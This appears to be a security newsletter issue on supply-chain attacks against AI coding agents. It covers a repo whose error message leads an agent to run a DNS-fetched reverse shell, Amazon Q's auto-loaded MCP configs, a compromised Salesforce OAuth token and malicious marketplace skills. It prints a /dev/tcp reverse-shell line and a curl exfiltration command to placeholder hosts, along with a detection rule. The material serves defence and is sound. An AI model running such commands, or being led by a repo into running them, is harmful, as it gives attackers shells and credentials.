UNTRUSTED AUTORUN

Your Agent Runs What You Cloned.

A repo with nothing malicious in it can still own your laptop, as long as you point a coding agent at it. Your AI toolchain runs code and signs in with credentials, and none of it gets a second look first. A cloned repo's setup step, an auto-loaded MCP config, a dormant OAuth token, a marketplace skill: each one ran or authenticated for you, unreviewed.

> ATTACK

Andre Hall and Miller Engelbrecht at 0DIN · 2026-06-25 · **Clone This Repo and I Own Your Machine**

The repo ships nothing that scans dirty. A README tells the user to run `pip3 install -r requirements.txt` then `python3 -m axiom init`. The package's `__init__` raises a `RuntimeError` saying you must run init before the package works. A coding agent reads the repo as trusted context, hits the error, and does what a helpful agent does: it runs `python3 -m axiom init` on its own as error recovery. That init runs `cfg=$(dig +short TXT _axiom-config.m100.cloud @1.1.1.1 | tr -d '"')` then `[ -n "$cfg" ] && bash -c "$cfg"`. The DNS TXT record holds the reverse shell itself, `bash -i >& /dev/tcp/<attacker-host>/4443 0>&1`, handed straight to `bash -c`. No payload sits in the repo, so a static scan sees a benign `dig`; edit the TXT record and the payload changes without touching the code. 0DIN ran this as a research demo, so there is no vendor advisory and no patch.

The same class hit a shipping product. Maor Dokhanian at Wiz, 2026-06-26, showed Amazon Q's VS Code extension auto-loading MCP server configs from a workspace `.amazonq/mcp.json` with no consent prompt. Open a repo carrying that file and the extension spawns the configured processes, which inherit the full environment: AWS credentials, API keys, SSH tokens. The proof of concept exfiltrates with `aws sts get-caller-identity | curl -s -X POST -d @- <attacker-url>`. **Tracked as CVE-2026-12957, fixed in language server 1.65.0, and the fix adds a consent prompt rather than removing auto-load, so the safeguard only holds for developers who stop to read the prompt.**

▸ SHIP THIS WEEK

Turning all of this off is the clean answer, and most of us leave auto-mode on anyway. So make auto-mode survivable instead:

- Run the agent somewhere disposable. A container, devcontainer, or cloud sandbox means a reverse shell lands in a throwaway box, not the laptop holding your `~/.aws` and `~/.ssh`.
- Keep long-lived cloud creds out of the environment the agent runs in. Both attacks cash out by reading env credentials and SSH keys, so short-lived scoped creds beat static keys sitting in the shell.
- Be choosier about whose code you auto-run. Open unfamiliar repos in the sandbox, or skim their setup scripts and agent-config files (`.amazonq/mcp.json`, `.cursor/rules`, `.claude/`) first.
- On Amazon Q, upgrade the language server to 1.65.0 or later. That fix is real, and it adds the consent prompt that was missing.

> RULE OF WEEK

Nothing in the 0DIN repo trips a scanner. The attack only shows up when the code runs, so key your detection on the process telemetry; the files look clean. The single highest-fidelity match is one event: a process tree rooted in your agent runtime (the Claude Code, Cursor, or Amazon Q binary) spawning `bash -c` or `sh -c` whose argv contains `/dev/tcp/`. That string is the bash reverse-shell primitive, and it almost never shows up in normal agent work. **In Falco that is a `spawned_process` rule scoped to `proc.aname` in your agent binaries with `proc.cmdline contains "/dev/tcp/"`, buildable in a few lines.**

> DEFENDER

Julie Agnes Sparks at Datadog Security Labs · 2026-06-22 · **Detecting the Klue supply chain attack in Salesforce instances**

Audit the dormant OAuth credentials on your connected SaaS apps and decommission the ones no integration needs. A group tracked as Icarus compromised the vendor Klue on 2026-06-11. The way in was a configuration failure: a prototype OAuth credential Klue created for an integration and never decommissioned. Through the compromised Klue Battlecards connected app, that one standing token reached customer Salesforce orgs, where the attackers ran Python against the REST endpoint `/services/data/v59.0/query/*` and walked standard objects (Opportunity, Case, Lead, Contact, Account, User) with QueryMore to beat the 2,000-record-per-request limit. Datadog ships three Cloud SIEM detections and hunts against `ApiTotalUsage` and RestApi events, with giveaway user-agents like `Python-urllib/3.12`. **For your engineer: in Salesforce, open Setup and the Connected Apps OAuth Usage page, then revoke every prototype or vendor token no live integration still needs.**

> AGENT BENCH

The Attack worked because an agent ran code it never read. Before you point a coding agent at an unfamiliar repo, point a separate, sandboxed pass at the repo's auto-run surface first. Scope it to the parts that run without you asking: setup and install instructions in the README, plus `requirements.txt`, `package.json` scripts, and any `postinstall` or `prepare` hook; package entrypoints that run on import (`__init__`, module-level code, `setup.py`); agent-config files that auto-load (`.amazonq/mcp.json`, `.cursor/rules`, `.claude/`, `.vscode/tasks.json`). For each, require two answers and nothing softer: what command does this cause to run, and what does that command fetch from the network before it executes. A step that runs `dig` or `curl` and pipes the result straight into a shell is the shape from this week's Attack. Make the agent quote the exact line and host at `file:line`. **This is the oss-security-audit reading discipline pointed at the auto-run surface. An agent will miss an obfuscated hop and over-trust a benign-looking script, so the pass narrows where you look and you still read the flagged lines yourself.**

> RADAR

Seetharam, Mohamed, Melicher, and Starov at Unit 42 · 2026-06-23 · **OpenClaw's Skill Marketplace and the Emerging AI Supply Chain Threat**

Agent-skill marketplaces are picking up the supply-chain abuse that package registries have fought for years, and the patterns are already here. Unit 42 found five malicious skills on ClawHub. Two posed as TradingView assistants and pulled Base64 payloads from paste sites to drop an infostealer. One padded its `README.md` with roughly 22 MB of junk to push the file past content-analysis size limits, then delivered its infostealer payload. One rerouted the agent's financial recommendations through affiliate links the operator controlled. One pooled victims' Solana and front-ran a meme-token launch. VirusTotal and ClawScan screening was added after the fact, which raises the same question every package registry has lived through: who audits the skill before your agent installs it.

> RECON ROLES

Senior Infrastructure Security Engineer, Dropbox. The title says infrastructure security, but the scope is almost entirely AI-agent security: designing the controls for Dropbox's AI and agentic infrastructure across cloud, Kubernetes, and data stores, and building authentication and authorization for non-human actors with SPIFFE/SPIRE, OAuth 2.1, and OIDC. Securing MCP-based systems and multi-agent controls like signed inter-agent messaging and circuit breakers sit in the preferred list. It wants 9+ years and an on-call rotation. Public ranges: US Zone 2 at $214,200 to $289,800 and Canada at CAD 205,700 to 278,300. US + Canada remote. Verified open as of Mon 2026-06-29. Roles can close anytime. No affiliation or payment.

> SIGNOFF

All four stories share one root. A setup script, an MCP config, a vendor's OAuth token, a marketplace skill: each one ran or authenticated for you, and none of them got reviewed first. **Pick one surface this week and read what it does before it does it.**

SOURCES

0DIN / 0din.ai (Clone This Repo and I Own Your Machine, Hall & Engelbrecht)
Wiz / wiz.io/blog (Amazon Q MCP auto-execution, Maor Dokhanian) · CVE-2026-12957
Datadog Security Labs / securitylabs.datadoghq.com (Klue supply chain, Julie Agnes Sparks)
Unit 42 / unit42.paloaltonetworks.com (OpenClaw Skill Marketplace) · Dropbox / jobs.dropbox.com